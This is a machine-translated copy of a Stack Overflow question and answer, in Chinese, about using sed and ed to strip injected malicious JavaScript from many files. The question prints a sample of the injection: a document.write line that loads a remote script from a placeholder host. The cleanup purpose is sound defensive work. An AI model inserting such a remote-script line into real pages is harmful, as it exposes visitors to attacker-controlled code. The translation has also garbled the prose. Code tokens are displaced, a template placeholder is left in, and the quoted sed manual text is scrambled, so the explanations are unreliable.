如何从文本文件中删除多行,包括匹配的行?

时间:2014-04-15 00:48:34

标签: sed centos pattern-matching

我发现一些恶意JavaScript被插入到几十个文件中。

恶意代码如下所示:

/*123456*/
document.write('<script type="text/javascript" src="http://maliciousurl.com/asdf/KjdfL4ljd?id=9876543"></script>');

/*/123456*/

某种开头标记,document.write插入远程脚本,看似空行,然后是&#34;结束标记。&#34;

在对this Stack Overflow answer的评论中,我发现了如何删除单个文件中的单行。

sed -i '/pattern to match/d' ./infile

但我需要先删除一行,然后再删除两行,并且至少需要删除几十个文件。

所以我想我也许可以使用grep -lr来查找文件名,然后将每个文件名传递给sed并以某种方式删除匹配的行,以及之前和之后的2行(总共4行)。要匹配的模式可以是"\n*\nmaliciousurl\n\n*\n"

我也试过这个,尝试用空字符串替换模式。 .*是开始/结束标记中的十六进制数字,也是标记之间的内容。

sed -e '\%/\*.*\*/.*maliciousurl.*/\*/.*\*/%,\%%d' test.js

1 个答案:

答案 0 :(得分:1)

您需要匹配开始和结束评论,而不是document.write行:

sed -e '\%/\*123456\*/%,\%/\*/123456\*/%d'

这使用%符号代替更正常的/来划分模式,当模式包含斜线并且不包含{{1}时,这通常是个好主意}符号。前导%告诉\以下字符是模式分隔符。您可以使用任何字符(反斜杠或换行符除外)代替sed; Control-A 是另一个值得考虑的好事。

来自Mac OS X上的%手册:

  

在上下文地址中,除了反斜杠(&#39; sed&#39;)或换行符之外的任何字符             character可用于分隔正则表达式。此外,在分隔字符前加上反斜杠字符会导致字符出现             按字面意思对待。例如,在上下文地址\中,RE             分隔符是&#39; \xabc\xdefx&#39;第二个x&#39;代表自己,所以正则表达式是x&#39;。

现在,如果您的模式实际上不像您在示例中显示的abcxdef那样容易识别,那么您可能被迫关闭恶意URL。但是,在这种情况下,您不能轻易使用/*123456*/;它不能做相对偏移(sed是不允许的,更不用说/x/+1)。那时,你可能会回到/x/-1(或者ed):

ex

这会对恶意URL进行全局搜索,并且每次出现时都会从当前行(ed - $file <<'EOF' g/maliciousurl.com/.-1,.+2d w q EOF )之前的行删除到它之后的两行(.-1)。然后写入文件并退出。